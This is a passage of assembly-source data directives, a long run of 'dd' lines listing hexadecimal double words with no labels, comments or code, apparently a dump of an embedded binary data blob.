		dd 3F01B0FAh, 0CC24EBB8h, 0D4426B3Dh, 0E9BC307Ah, 0BAA48811h
		dd 0CA803688h, 73A8E9C3h, 67C00637h, 693E29DCh,	99031372h
		dd 0B2333F70h, 8C51E089h, 0FFB10038h, 0DB25B8DFh, 1890102Fh
		dd 5385BA09h, 0AA3C0032h, 3E8A202Ah, 170716EFh,	6687D23Dh
		dd 0B51ED882h, 8CC359F0h, 1C0F30Fh, 87539520h, 0B281517Bh
		dd 3079C869h, 8711E9B9h, 1988C2A4h, 0E9C0CB80h,	4108211h
		dd 36DB6EE1h, 888B402Ah, 6C3BC4Ah, 0AC13299Ah, 934908AAh
		dd 0A06901A0h, 0B3F7E74Ah, 0D89D95D1h, 6EE20F78h, 0DE509163h
		dd 5263C7C0h, 0DC51E8A8h, 2570C507h, 9823F26Ah,	89B0AF47h
		dd 281013ECh, 12DC23A7h, 56DB872Ch, 0F8CCD64Ch,	180B8B10h
		dd 0C39BD73Bh, 0DBC3596Ch, 0F5889CF8h, 3A0CBB7Ch, 0A98F2A29h
		dd 57E7009Fh, 0CD342273h, 2600E4D6h, 0CBD33795h, 7438B02h
		dd 0C3DA6883h, 2520FBBh, 0EB8DA408h, 23AA4468h,	18E43B30h
		dd 0FDC0100Ch, 97D67982h, 346992A5h, 96003032h,	0A879D268h
		dd 8380D811h, 72C3BD4Ah, 8094448Ch, 7C4A9B0Fh, 5730E1E0h
		dd 4F4E537h, 1D8891F3h,	62C50677h, 45001171h, 0D7C453EFh
		dd 5F3EF278h, 47F40CEEh, 53FAAB21h, 7D392C00h, 0BC67CC6Eh
		dd 0C39A0925h, 40000327h, 6AFB7E2Ah, 68E62389h,	32100D64h
		dd 0BD4959BFh, 8C8090DAh, 0CB80376Fh, 0CF0D2978h, 53F50948h
		dd 22C8CC05h, 0A5205D48h, 9053DDh, 0CB997580h, 8A3DAFD7h
		dd 0BF8CA0A0h, 40D4374Dh, 2C5821ACh, 0C3C11C28h, 9815F74Ch
		dd 0EA9312F3h, 24A80F6Fh, 0C4011CE0h, 0E49268EBh, 174480A7h
		dd 72250C60h, 30DBC13Ch, 124748EDh, 0E3E0DE26h,	0D053F301h
		dd 20ED8D7h, 9A53DBAFh,	0B71BC0A2h, 59501837h, 0C210E085h
		dd 0D8297061h, 212B585Ch, 0E0E7A0D4h, 8402E260h, 6878F846h
		dd 0B8EF808Bh, 1EA2AF2h, 6532F972h, 80865D37h, 763F5950h
		dd 0B7E51Ch, 40A1F8EBh,	2F7DA26Bh, 23D047E9h, 77C1A31Eh
		dd 98442B48h, 0E700FB83h, 4FF0F98Bh, 0B4916D24h, 0C1EA3682h
		dd 0C45CC711h, 0DBC06031h, 0EB400008h, 18AFBDA3h, 0E0920104h
		dd 96845C00h, 4A487BD1h, 0D1FE48ABh, 0E9BA910Ah, 0F1F401A2h
		dd 0C4978CB9h, 5B05E788h, 54EBD759h, 0C6AA9432h, 0EEA50080h
		dd 615C82F4h, 89D625F7h, 1A165900h, 37D6C7h, 67F0098Dh
		dd 35BEF602h, 8064D748h, 89CBC6DDh, 9EE21F8Ch, 3CBE852Ch
		dd 23F82F77h, 0BAF3015Bh, 24392995h, 280085F4h,	9CEF79B4h
		dd 0ED5CB2Fh, 3A8C8D0Bh, 0F99992C0h, 65140E4Fh,	1CC41E7h
		dd 959F21C2h, 6C717E2Eh, 93A21C23h, 399A130h, 35566D66h
		dd 0E94807EEh, 0ABF80FC4h, 0D8FB00B1h, 0B19255AFh, 0C4F032F8h
		dd 1253F230h, 38F0D7D1h, 0DA00B070h, 5E58C953h,	2C651EBEh
		dd 40B02A5Ch, 7E29EC26h, 20903500h, 5825C6E7h, 0F8AB00B8h
		dd 0F1D116A8h, 9A487D4Fh, 81B9C838h, 0DF0F8BDCh, 88F44032h
		dd 0A34995A2h, 0DD88405Ch, 4A86048Ch, 62AAC3BAh, 9E6B2088h
		dd 2D00074Ah, 2298CE8Eh, 0EE0AADC5h, 6099EE39h,	509280A2h
		dd 0B709BF6Fh, 42ACF774h, 86A08DD4h, 28BB7880h,	80B49589h
		dd 0F2BEDD00h, 0AC4C85F5h, 0D754009Ch, 0BCE94F90h, 824CDECBh
		dd 8C31BC3Ch, 0B6D75E03h, 885BF53Ah, 12A369E7h,	85AE139h
		dd 94CA7CC0h, 0CAA48605h, 20332822h, 9FE9C1CCh,	0FF483000h
		dd 0DC78212Ch, 12C2FC28h, 41572243h, 0E3850EFCh, 10083249h
		dd 0F504F8DFh, 0A39F2AA8h, 31D00200h, 31CE89F2h, 0D1C450FCh
		dd 4003178h, 6223F1DEh,	0E158894h, 542AE68Ch, 2825BDC6h
		dd 1D090F79h, 1D2C1266h, 874711B0h, 0E3D088F4h,	9739334h
		dd 0A055CDC8h, 0D0BCAC68h, 145DA1F0h, 22D8814h,	837DBA85h
		dd 8FCC8868h, 0A08860FFh, 780EA22Ch, 91215F1Fh,	0B0400444h
		dd 94909CF9h, 0F8E6C025h, 50774910h, 424E5402h,	7C48F464h
		dd 0CD4D9857h, 3AEC48CCh, 0A86E4013h, 0B0367128h, 0CF104868h
		dd 5A95A306h, 0D8F89898h, 4E43454h, 0D7C90360h,	1E6AC966h
		dd 4E08F6h, 4A82A6B1h, 5001152Dh, 2FCB908Ah, 31800A04h
		dd 0CABA6236h, 0DD0BD3A5h, 90C20F51h, 3097D890h, 0BCA0879Dh
		dd 0FC0128BAh, 0DD8F3323h, 0AC243C29h, 0C2500FBDh, 5407A32Ah
		dd 0BAC480A2h, 5C00488Dh, 0DE8C9DF1h, 0C2D5886h, 28891D1Fh
		dd 7572ED39h, 4C1B400h,	0D97B1582h, 37A931AFh, 29B7B9F0h
		dd 2C2E93B4h, 0EE033523h, 0B9533A0h, 50AA58C6h,	7568080Ch
		dd 0C2298205h, 0E400130Fh, 0D3D2288Dh, 4264A87h, 88C31020h
		dd 0A2048B38h, 0B6BC7B41h, 0A00C98A1h, 92D10148h, 82CB3D02h
		dd 6FF841A6h, 949B041Ah, 505B0FC3h, 9FD2E488h, 0BCADA326h
		dd 0FE79B4A9h, 483AE118h, 92D980B7h, 44A56601h,	7EA302Ch
		dd 0AE5F22F9h, 9524A0E4h, 7B802C42h, 0BF895B65h, 17E2024Ch
		dd 5822F83Dh, 98D208A9h, 4480A099h, 88A3E755h, 601C7C33h
		dd 0F5E3191Eh, 7D0083B8h, 6690B760h, 5C79B689h,	8E0CE4DEh
		dd 36D11705h, 628BF00h,	911A3ABh, 0C3377A66h, 1DF7C690h
		dd 0A0BF5109h, 4B4900BEh, 13BEB2Eh, 6BA92571h, 3E8F8396h
		dd 0E1783C32h, 0F018C6C4h, 0D7C75308h, 0D8AA7080h, 65615300h
		dd 0D90E9A07h, 9CD52097h, 2390109Dh, 72B8007Ch,	0C276D9DCh
		dd 0A2494A18h, 0E4685040h, 0B1E72D00h, 0B9526EC1h, 36772735h
		dd 6230A064h, 0CE15715Fh, 29280070h, 0CDC246C8h, 0B4006FA5h
		dd 996C522Eh, 2C681E79h, 8FC87FBh, 360B5E8Fh, 0A04891D3h
		dd 8EB20076h, 2C221130h, 0F484D9h, 0D1120427h, 9527A4A0h
		dd 0C26C872Bh, 0AC3266E5h, 80710F80h, 0D7D353F4h, 48448CE0h
		dd 53DC07AEh, 0A068FA46h, 15E3978Fh, 0CAE204E4h, 8EE3B07h
		dd 0C342C1F3h, 1F59009Dh, 304822F0h, 3FC050A4h,	5820B84Ah
		dd 42938DA4h, 3582255Eh, 243584E0h, 0F313046Eh,	0F97C0016h
		dd 0BF8A0DAAh, 0A2344325h, 0E36592Ch, 29E75380h, 200FC1B3h
		dd 79B6B810h, 0BE18D080h, 0A427E97Bh, 0D896AAh,	0A9E9C5C8h
		dd 7952760Eh, 8007C238h, 3E511662h, 41D78954h, 8FC2028h
		dd 94090324h, 67E2D680h, 448EF8Ah, 644399FEh, 5408910Ch
		dd 106866A5h, 0D81F2123h, 0D80C6537h, 2240F718h, 92661BEEh
		dd 5218303Bh, 0F0181FA2h, 34F5374Fh, 0B8829BF0h, 5031EB8h
		dd 6461000Fh, 0F7EB3363h, 5C0E35BDh, 60B4C81Ah,	1EB1752Ah
		dd 10B189h, 91C419ACh, 589843C3h, 3596E718h, 0CC85F668h
		dd 4A18DD59h, 0B30BE4Ch, 8FDC8A88h, 90C46E08h, 0D435C805h
		dd 0BCA04F26h, 8440FF49h, 240F8ED2h, 106E6F96h,	0C045A0Ch
		dd 0A0002A9h, 0E7775CAAh, 7C78C205h, 0A9972A73h, 0CC262C88h
		dd 0B01D1E3Ch, 64E52A10h, 4676C49Ch, 36890490h,	40F4262Ch
		dd 3DD7055Ch, 8962FE87h, 9E0E3ACh, 0D2014655h, 71BC35BEh
		dd 4980B70Fh, 93F28E2Bh, 0B89AFDE7h, 961E6A0Bh,	0B9345064h
		dd 1990796Ch, 54F7E430h, 0DAA01Ch, 0AA36BA57h, 0EB0BBBCDh
		dd 6EBD9000h, 0F72B468Ah, 0C2393EA1h, 0D7FA2F92h, 0E82652FCh
		dd 73087851h, 0A4AB094Dh, 0ACBF0C03h, 5EE5C101h, 1B23C381h
		dd 434C1E6h, 64B14CFFh,	0C7019A23h, 0D689EF31h,	0B0B71828h
		dd 61F431CFh, 95BA0401h, 56E0BA6h, 4B413CCFh, 6BB59203h
		dd 0CC8023Ah, 0E7019572h, 0F2968858h, 4BF9A49Eh, 5C90A091h
		dd 8C5ABC28h, 0C786BA02h, 8296EF63h, 1265AAC8h,	94598079h
		dd 6D273D18h, 0F69C82DEh
		dd 44B044DCh, 0CC00DB0Ch, 0E4AEB433h, 13B5475Eh, 1EC62895h
		dd 89F38168h, 733052EFh, 3342E234h, 0F328D1D8h,	816BE600h
		dd 0EC18D5ABh, 0BBC113C0h, 0F268C0E7h, 230E811h, 0F58E682Bh
		dd 0D3611C91h, 23BD390h, 6D9C7114h, 1250F121h, 0CB47A300h
		dd 0E197D70Dh, 316B2090h, 3283A130h, 3136F298h,	34D8ECD3h
		dd 0D59FD60Ch, 1CB7588Dh, 0E46EB25Eh, 0BB7200E4h, 0F293AABh
		dd 0C9D5390Bh, 6050CDA8h, 0F8AB7B08h, 52818709h, 9BBCC69Dh
		dd 0CB3B1E44h, 1D1E25h,	0CC803511h, 8A1A260h, 2909397Eh
		dd 48E42FDAh, 7328DD78h, 0D42566D3h, 530518F4h,	0EEB5C7F9h
		dd 8CC0D884h, 0E28CCB4Eh, 70B62C48h, 353308D4h,	9F652C09h
		dd 80931118h, 143E5244h, 28CA1D9Ch, 902DC116h, 0F30F7E0Ah
		dd 72E36000h, 28A03B6Ah, 4F8EF210h, 0F28C0671h,	553A1869h
		dd 65E10156h, 64FB8B86h, 0A4350821h, 4063B030h,	905BB1Bh
		dd 0DC6EE0B2h, 4A875420h, 92C321B9h, 4A9F6CC0h,	441077Fh
		dd 35CA88BBh, 622482B1h, 218E7CC9h, 289EF944h, 0E9208034h
		dd 304671h, 543AF59Ah, 9186DED0h, 6B290101h, 0A4FBF8Bh
		dd 21FA4080h, 0CCF1355Fh, 0F8B6D092h, 33465Eh, 3948A432h
		dd 0F283E304h, 0C4B13EBh, 0DBAC813Eh, 0D6360058h, 1E39C520h
		dd 0F3A0988Eh, 7491EA14h, 60EF11F0h, 0B440F280h, 9C4CA1A0h
		dd 0C02C767Ch, 0DE0920F1h, 11605125h, 0A2085399h, 0B680308Eh
		dd 0F2D66B0h, 0EE48AEACh, 0EF108213h, 2EE002Fh,	6D02B684h
		dd 0D2E79417h, 3A40A634h, 0C3A41C71h, 6824CFh, 0DB257B37h
		dd 88A00EA3h, 0AA0B44A2h, 7AF9BF23h, 88A8ECB0h,	86250C85h
		dd 0DD4404A3h, 63B1F880h, 4621C757h, 392E83EEh,	0C83545B8h
		dd 275D8912h, 24540CB4h, 85040288h, 0D0DF080Ch,	388C8B44h
		dd 85E1BFA3h, 20702587h, 0A4A0B700h, 558617FAh,	0B8768C83h
		dd 0A63DC0E7h, 0BD530FCFh, 681001A4h, 0ED87EEFAh, 141B7468h
		dd 8A0386Bh, 0B0A833D3h, 89526987h, 51920010h, 0D03723CBh
		dd 2FBC4F55h, 2B0310C8h, 5090F9C0h, 1551ADFBh, 0DC43C487h
		dd 8D9FBE05h, 0E4E8872Bh, 47A22C7Ch, 100B052Ch,	97CE9C2h
		dd 450B9FDh, 8960DAE0h,	0C323BB4Ah, 13911182h, 3400A16Ah
		dd 0E45EA542h, 18C3E44Eh, 70437F65h, 0CB15D734h, 0A82CE112h
		dd 39D60024h, 0DABE9F52h, 70A5B86h, 54E21E73h, 8E465Ch
		dd 44F7AE92h, 275FB78Dh, 0E88117F3h, 636FC448h,	3034A268h
		dd 260FACADh, 0E0917438h, 86096750h, 8059505Fh,	3302C9Ah
		dd 366D404Ch, 0DC3ED801h, 0EDD70044h, 51E9D14Ch, 0BC9A3F57h
		dd 358C6E01h, 706A6B8Ah, 6140DBD0h, 4BD376C4h, 57589104h
		dd 89170C46h, 43DBE827h, 0AB141650h, 902C3F40h,	9854F39Ch
		dd 33E3DC81h, 358BF601h, 0BC3C688Ch, 1E1D8C31h,	0D0809B41h
		dd 47B78382h, 62D3FCA2h, 6BFE7889h, 854F6CFCh, 0C61879Dh
		dd 7822AC5Eh, 0F33007F2h, 33C0268Eh, 82EF0911h,	1484F029h
		dd 5C104302h, 697C8F2h,	1AF1006Dh, 0DAFAAB4Ch, 131C6AECh
		dd 329007EBh, 0D8028725h, 146619BAh, 46FB920h, 4D37D9CBh
		dd 59C8AC94h, 0A9B10193h, 3E053F23h, 4810272Bh,	6D97D802h
		dd 0EF8A0095h, 58DF36AAh, 71329F09h, 8C9E11BCh,	5289D8D3h
		dd 0F92A7C76h, 7BD200DCh, 0C021E631h, 0BC0471B2h, 0B9AFD702h
		dd 2A12A4A8h, 0C5884043h, 5C08F8F5h, 40C72C07h,	0A9C56EFDh
		dd 76B0F4B6h, 0AF00BD99h, 7F58C335h, 4C6F85A2h,	6E8BE034h
		dd 0A097FC0Bh, 0AE809211h, 0E9178608h, 3C7AE21Dh, 2C94BF1Fh
		dd 8CC85E94h, 801E748Dh, 0D80678C0h, 3E35BB72h,	47634F10h
		dd 4003EAC4h, 0E64DE21Ah, 7F058D00h, 913730B1h,	975E26CDh
		dd 88833A1Ch, 86D0C6F3h, 0EA354012h, 2F560CF4h,	98C8D1CCh
		dd 443C538Bh, 610C0B81h, 0C4F2F9h, 32512028h, 0D60F5A2h
		dd 600E7824h, 5084674h,	870A465Fh, 529B20C1h, 0CFDBC200h
		dd 739CEC58h, 0F3078B0Bh, 97D840BFh, 39894CDh, 0A25D609Fh
		dd 7D985EB9h, 1D72394h,	0C3C04A84h, 0B028387Ah,	54A9C7Dh
		dd 0E6731EFh, 4D948011h, 65F4DCB2h, 71A5E80Eh, 7098AD50h
		dd 7F7440F2h, 4B3D42E1h, 0B03E8441h, 7F35F5h, 0A036EAB8h
		dd 229D9561h, 220B5EC0h, 0CE30978h, 3E0DD1h, 0B9E90A3h
		dd 0D8EA8BDAh, 50409C1Ah, 0F8C0BD33h, 2076AFD2h, 0FACCF957h
		dd 0D4F54888h, 79448A3Dh, 0A17B0601h, 3E9795A2h, 0BF10707Dh
		dd 7DA009EEh, 291CDB0Dh, 1887D158h, 9B600B9h, 0C230B12h
		dd 80903C03h, 0EDC05C65h, 3E94C610h, 94E1E837h,	0D6054611h
		dd 21979D4Fh, 3321C28Ch, 4C415A34h, 7EC848F1h, 0FC4F5730h
		dd 0BEE09E39h, 0A33C45DAh, 0ABA4043Dh, 0A1D8B803h, 5E20E785h
		dd 284E0255h, 0EB5EEECCh, 55BF4CB0h, 8400588Ah,	560A4434h
		dd 221C8C57h, 2E775BB0h, 1C4823CCh, 0C00A1D4Dh,	16EDF81Ch
		dd 8B4E536h, 27082CA4h,	23C40246h, 64C40E4Bh, 78B1D372h
		dd 94261E91h, 507051D8h, 0DB21ACD8h, 7F893918h,	86552B40h
		dd 0BFFCF754h, 5640E89Eh, 759B0F59h, 44912C53h,	0A51C0175h
		dd 298D1E88h, 27C44CE4h, 0ECA887DFh, 484B1082h,	17A16644h
		dd 92D2355Eh, 0F8D2049Ch, 0CC79FB00h, 4B7C4321h, 0AC4C50F6h
		dd 0A611441Bh, 0B5C441FBh, 48AF1037h, 0C1C301DDh, 2395A12Eh
		dd 106C2251h, 3584F343h, 4EA962B8h, 0BF9244B0h,	0A829B732h
		dd 1C4051D6h, 45BE848Eh, 5930C009h, 0F630D2BBh,	0AA08C118h
		dd 0C91A0017h, 0E77D48A2h, 94073846h, 2DB38802h, 5122770h
		dd 2AA813F2h, 0C580609Ch, 8923ED31h, 0BCFA15A6h, 31CDD800h
		dd 0D25ED934h, 35957809h, 0A40410EDh, 59A7227Dh, 608BD325h
		dd 9F5EA260h, 4DBF4C90h, 3C6C3Ah, 23C75139h, 963F966h
		dd 0AA06EB09h, 71215C14h, 7C952D08h, 0E805A91h,	278C131Ch
		dd 9CC8F14Bh, 20989011h, 14AC1ED5h, 0AB2EE490h,	0FC79C404h
		dd 9C97A912h, 612B0588h, 20F659E7h, 8D4F7D18h, 80B8DC27h
		dd 9C5058E7h, 0F825681Eh, 63B0C08Dh, 66878107h,	61607B1Ch
		dd 8586F7E9h, 3220073Bh, 672D90DAh, 6DCE80A3h, 180E4127h
		dd 81AA9176h, 6F24BBC2h, 75FB6080h, 496C12ABh, 205BE709h
		dd 5020E094h, 91D20509h, 60C80D78h, 0C553EEB8h,	6590D725h
		dd 0F6AC89FCh, 0D383C200h, 7B2C94A7h, 0AF128470h, 977B44Bh
		dd 0C408E5B8h, 17F56007h, 0D0ED07FCh, 7091F0B4h, 0BBDB261Bh
		dd 72D40A51h, 3035F280h, 0EF00ACAEh, 9186EB01h,	2F4922F8h
		dd 411AB0Fh, 2C683CEDh,	0E50368C5h, 0E2CBB316h,	5838D383h
		dd 95091060h, 4804538Ah, 0ECD31774h, 0FB4F623h,	31328428h
		dd 7A58C6E0h, 8B17BEC3h, 44810AB7h, 1C398754h, 41352A12h
		dd 8148A58h, 9F7D609Ch,	0F6731901h, 0C4E312C7h,	33CB1070h
		dd 518922F7h, 0D4B0BA88h, 2714E002h, 418A11A5h,	8C34F878h
		dd 0D11D01B6h, 0A07A8C84h, 802D05h, 0E697B1C3h,	3E25BF16h
		dd 0B53C3CE0h, 0AF21F707h, 0C298E059h, 3660294Ch, 11244499h
		dd 0E74E001Ah, 0C7CADEF6h, 0F3A80BFh, 4054A0Bh,	0E8C0A237h
		dd 99F128Ch, 0DB87F007h, 5C791C59h, 73027418h, 557A50B3h
		dd 3794909Eh, 0DDF08838h, 0CA2A7600h, 48934B7Ah, 0B71D0962h
		dd 84808849h, 19528C25h, 9435E85Ah, 823F43Ah, 0AA37E400h
		dd 0C70403BFh, 0F14F3219h, 30EFB03Dh, 0FF03D588h, 5F3A75EEh
		dd 8499B038h, 0F0A79FF7h, 6BE701Ah, 170F8E61h, 61886307h
		dd 0AEF7CDEh, 21D66E0h
		dd 388D8F11h, 6C61D3DFh, 758C009Ah, 67530242h, 0A8C09FF7h
		dd 0E4979C62h, 0C28E6191h, 971C2272h, 0E43880C0h, 1C1B2E01h
		dd 53636764h, 2FE83187h, 2707D5h, 69E48188h, 2E303200h
		dd 6E60FF1h, 0BE72DCh, 0CC0E6324h, 0C1F320D7h, 0C06FC325h
		dd 2C95A084h, 1F88A8F5h, 86B25C2h, 51BB85B0h, 1D34A295h
		dd 0E8304491h, 843CB1EBh, 260838Dh, 0FB2D95C2h,	0CE497074h
		dd 35454800h, 39FA3441h, 71E0098Bh, 98DA8E1Eh, 98577A09h
		dd 78C8D8C5h, 0FCC000B9h, 8D513688h, 0D22E4433h, 5803CD87h
		dd 413707h, 842D9239h, 0AD5111ABh, 77091EF2h, 60FB7DA2h
		dd 2465D220h, 0DC38AC5Ch, 316113Ah, 47288C4Bh, 0C204A9B9h
		dd 138D14C8h, 2BCB2E7h,	8AFBD720h, 65C41040h, 0FACBF5Dh
		dd 9A46FE1h, 0DB8D02Bh,	8970D87Bh, 34CC60D0h, 4864C1CBh
		dd 1A8F7F4h, 18138FB5h,	5849AC9Dh, 6E25E1E0h, 85D018F6h
		dd 0C3BF084Ah, 7E5828E2h, 944A389Dh, 9CC7C880h,	9FAAA6Fh
		dd 2F653320h, 8007B07h,	0F0FEDDD8h, 9FE3AF07h, 6CCE772Ah
		dd 0D36937h, 57A8554Bh,	39DEAEB1h, 0E5CEF200h, 0CF27C0BBh
		dd 9B212DC1h, 0FA88D017h, 0E56C602Ah, 0E00D38Ch, 5DEBB793h
		dd 246B40DBh, 64488A1Eh, 7F5D30D3h, 125C915Ch, 9498A404h
		dd 0C22F0C0Fh, 62B242B9h, 0CCD28EBAh, 22210Eh, 5AEC635Fh
		dd 0BD44D608h, 0E70BC479h, 52D3C1BBh, 20B4B098h, 25007143h
		dd 4891E76Fh, 588BCA7Eh, 0EE8018BFh, 9E374959h,	2B1D0702h
		dd 561182FAh, 0DA1CDCACh, 40428C5Ah, 5C0306C4h,	0A59F8044h
		dd 3D02D701h, 80E6813Ch, 9D0A2AAFh, 28416CEh, 52BF57ACh
		dd 0B8DAAA0Fh, 9101BB71h, 609C513Eh, 0C080AB77h, 8E1D3649h
		dd 0D10207BFh, 0AFD63D08h, 1708F469h, 47B8C020h, 0BF823AAh
		dd 0D5421094h, 1427000Ch, 895CB070h, 401B10DCh,	10899DC8h
		dd 88B0D9ACh, 8E069555h, 0F87911B7h, 29AC165Bh,	0B024B677h
		dd 93CAD72h, 9F55DE23h,	0EE103410h, 0ABC01C50h,	1FDDF502h
		dd 4824F6FCh, 3EFD918h,	2F8BB37Eh, 281A125Ch, 5088BC36h
		dd 2C23977Ch, 9EE8F992h, 5BF08B2Fh, 17F1B800h, 8EA32A50h
		dd 0F3187FD9h, 8C0F4422h, 64A04938h, 534EE0A7h,	0C5C28800h
		dd 0D925A926h, 99F12A97h, 3F1025B0h, 5A7258E8h,	972D1091h
		dd 8E939100h, 0EC064028h, 7F254191h, 3EE05F1Dh,	912380h
		dd 0A4EE87B5h, 2B01D104h, 0F1C8578Ch, 8038E54Fh, 0E848D4C9h
		dd 0ED01F860h, 0DB256D49h, 3B3EE113h, 1342364h,	9972AB0h
		dd 78C3073h, 9480E2E9h,	1B6B7B27h, 7C8C845Ah, 0B7DB25C2h
		dd 21D03043h, 0D016DFDh, 1E86458Ch, 5CDA5168h, 0BFDB04F0h
		dd 50F704EFh, 0C32D3CE8h, 130FF4A1h, 0FCD7002Dh, 6E7D2528h
		dd 70DE50AFh, 0AF65A238h, 0C10C00B5h, 5A548B02h, 0EEAC00AAh
		dd 0F785A251h, 0DC75455Bh, 25B814ADh, 5EFA9500h, 0D79666E4h
		dd 0B4EF1E76h, 930B3AF1h, 18026E32h, 0DD005294h, 315A128h
		dd 100B66AAh, 92A4CBC0h, 0EC6074BCh, 0DC82224Fh, 5BE74054h
		dd 22950A86h, 2126BFCh,	40FC951Eh, 78F7348Eh, 0E97131h
		dd 4323FA4h, 0DD7C9E85h, 8762CA19h, 2D026F90h, 15953C46h
		dd 84889170h, 0A2C0B53Ah, 9EACF5h, 2961B2F4h, 39D3F831h
		dd 41268A27h, 1012D194h, 7D05D8FCh, 0BC16701Fh,	0F62704F2h
		dd 30C030A0h, 0A00BDADh, 0E036B060h, 0DD86E6h, 23B779E8h
		dd 6ED19978h, 0C080A25Ch, 52A301ACh, 0DE9137Eh,	8CC0CC37h
		dd 0DC5333Dh, 0C1F2BC0Fh, 2E6F77F1h, 3A4223F4h,	0B6A1B80Ah
		dd 4FA800C0h, 5D9FC34Ch, 80E7AE3Ch, 0DC40191Eh,	1789508Bh
		dd 0B464370Eh, 81FEB414h, 7C0B200h, 0D993565Dh,	5C4E7341h
		dd 7D10446Eh, 0A45413CCh, 0C1B58C20h, 24510007h, 29F5157Bh
		dd 1D95711Dh, 818D91F0h, 14B48783h, 9DA53B60h, 0D8A1E02Ch
		dd 3F5A7609h, 0D0205B65h, 66053C53h, 77078C0Ch,	1340C4F0h
		dd 0B8416D98h, 945A2E54h, 467484ACh, 705B0B8Dh,	4BB019CBh
		dd 0B525D4h, 18EF1B41h,	3B128C81h, 8587CC12h, 629400Bh
		dd 0BC31F070h, 6215E4Ch, 5503802Bh, 85A366C0h, 5C586324h
		dd 0EDB038E1h, 0FE4E189h, 58F8CE0Ch, 0BF134D77h, 0ECA30CBBh
		dd 0A43046B2h, 1E810ED5h, 986574BEh, 63884986h,	0CDEDE4E8h
		dd 130FBAE0h, 20ECB8EBh, 0D8D90B20h, 707905D5h,	2DA99F9h
		dd 0A9BB5BE7h, 68BF3868h, 261F0E01h, 290DB059h,	0F1B5C080h
		dd 32941BEEh, 1010714Ch, 0A85064DEh, 884F8B20h,	0DA2C0841h
		dd 0A4030343h, 148DBF1h, 0F4EE2EA2h, 0FC8A806Ch, 0C02951B2h
		dd 0A64FD307h, 1AC389B3h, 1E82F826h, 1B89BCDh, 0A483E9BDh
		dd 0F02C7EA2h, 0E9C40FC7h, 44B41E94h, 8911AC00h, 0A099C541h
		dd 0B1E25D10h, 0E4E8642Fh, 54077CFEh, 41E7340Ch, 3901E660h
		dd 0C0C11C96h, 14F745DCh, 330E911h, 29CE2A51h, 7610040h
		dd 47C3594h, 130914F1h,	597EEA36h, 1830F130h, 0AE4E01EAh
		dd 53D50AA9h, 926EF0C4h, 109F4D79h, 0A3EE20h, 74B698B3h
		dd 2F201952h, 961DC70Ch, 51DD9929h, 8C20ECD9h, 8ED65F10h
		dd 0C034C818h, 8F14326Eh, 2925F4F8h, 611062D9h,	52030750h
		dd 8C8B00C4h, 25B36428h, 0CC400E03h, 8CA1D761h,	19920218h
		dd 688519CEh, 389AA484h, 0B4B0E68Ch, 0D5E00100h, 12D7D19Ah
		dd 88DC5933h, 0C0BB7F17h, 7D264F9Ch, 0A034A495h, 0F131D160h
		dd 96C6892Dh, 79D40034h, 6EAF7731h, 352687D7h, 0F9BD4C3Ch
		dd 7612A8A4h, 5C91C00Fh, 0A1BA1AF6h, 79DD0700h,	2260DE44h
		dd 8E006AE0h, 8F5388D2h, 0A1148DA9h, 0A3022598h, 48E434C7h
		dd 0C52D1A60h, 0F0E54000h, 0DBC3A3CEh, 5F15E93h, 0E43B5D90h
		dd 6720239Ch, 0B10474F9h, 891D821Ch, 80604126h,	9D842A8Bh
		dd 0E70138B5h, 0FBBBC38Ah, 564082C2h, 7664F696h, 0C5009446h
		dd 31830F32h, 60B88E23h, 0C2962891h, 0F83E7609h, 8EE804ECh
		dd 0D1C77DA2h, 0A74B642Ch, 11DC1D28h, 12ED8048h, 0F5B83BEh
		dd 0C0CFF0B6h, 0F8BF5C1h, 30006B97h, 0B9683526h, 0DF8A2E93h
		dd 27B49160h, 41146837h, 57A800E9h, 7F90E1A1h, 0F00F7D29h
		dd 349E49ECh, 0F7170C8h, 0F21EE602h, 0FC559B26h, 0C40C40F4h
		dd 1C7BFB36h, 0B809E698h, 0F9E506C1h, 18087908h, 0EB2D0237h
		dd 0BF8DA450h, 7C39491h, 62FAEF60h, 84F4048Bh, 0EC2EE789h
		dd 5DC4507Ch, 24520324h, 3EAE0444h, 731231Ch, 4056692Fh
		dd 4272F71Ah, 8DC45509h, 1F70D83Fh, 6D8FD3B8h, 0FC5064C9h
		dd 0F0221FC1h, 6080BE42h, 0A9CCBF8Eh, 9548097Ch, 9F251438h
		dd 0AADB1024h, 905E5500h, 0F5EBD8F1h, 24FDDA0h,	0A5E4AD00h
		dd 2937D332h, 89609CE2h, 20818177h, 42235E38h, 0E45964E1h
		dd 78254201h, 0B7F9A9D4h, 0A302B07Dh, 1997643Ch, 8C0524D4h
		dd 9CD0F5EFh, 4A7487D2h, 0FBE0C309h, 6B231008h,	92C9E6Dh
		dd 0F856A279h, 0DC9F1FC2h, 37D80324h, 597992FDh, 980C632Eh
		dd 36544D82h, 0B6136065h, 0DCCC507Ah, 0F0204082h, 36C94F12h
		dd 406FECC9h, 0F43B8C40h, 25E0C877h, 0DA7FDB3Bh, 0F15090D1h
		dd 4B9C716Eh, 29ED0011h, 0FCE08344h, 0C800188Ch, 0D06C9DA4h
		dd 25AFD781h, 98C48F59h, 4B1C6C95h, 735C40C4h, 0ACEE793h
		dd 0B55C9095h, 0E456826Fh, 78E465Eh, 0BD12E4A6h, 39393BD6h
		dd 170077A0h, 0CB34B11Eh, 853A035Ah, 0AB6E9941h, 7CF2D1A1h
		dd 0C9442D0h, 44A15402h, 9CAF69Ch, 578DA28Fh, 0CC29C850h
		dd 8A82E8D3h, 0DE233FB7h
		dd 812A8850h, 5EE1000h,	169A420Dh, 0A9E1AFC3h, 4CFCB28h
		dd 0F256212Ch, 242F0BCCh, 6D3020DEh, 0A38E7AC2h, 538CD8CCh
		dd 8F5B1365h, 4890FDF2h, 0A11E1CE0h, 3D9CCB80h,	427D3DAh
		dd 89934C97h, 3708C8ECh, 8D00DCA4h, 35200F74h, 0A5E980h
		dd 43A28C01h, 0EA3786D1h, 0D3BB251Fh, 95A40B60h, 94547183h
		dd 7320FBE9h, 0B319DFF8h, 13833101h, 6D7DBC2h, 40DC4212h
		dd 8BCD01DCh, 0A2B77EFFh, 0E4437BF6h, 0AA5AB65Dh, 5425401Eh
		dd 0D13A0156h, 0BFEA0D78h, 0D82434AFh, 89F99727h, 0E9E4C37Ch
		dd 10A62A05h, 5AE0A08Ch, 739CC1EEh, 0EFDD0049h,	906E4F9h
		dd 8F6997D7h, 3443FCE8h, 91641DB7h, 0D0898046h,	2F74CEB7h
		dd 0CCC903EAh, 0E88C8094h, 67F75221h, 812C998Bh, 35535CD7h
		dd 1EC448F1h, 0D9506802h, 0F490E937h, 0C0B0BE94h, 0EF75830h
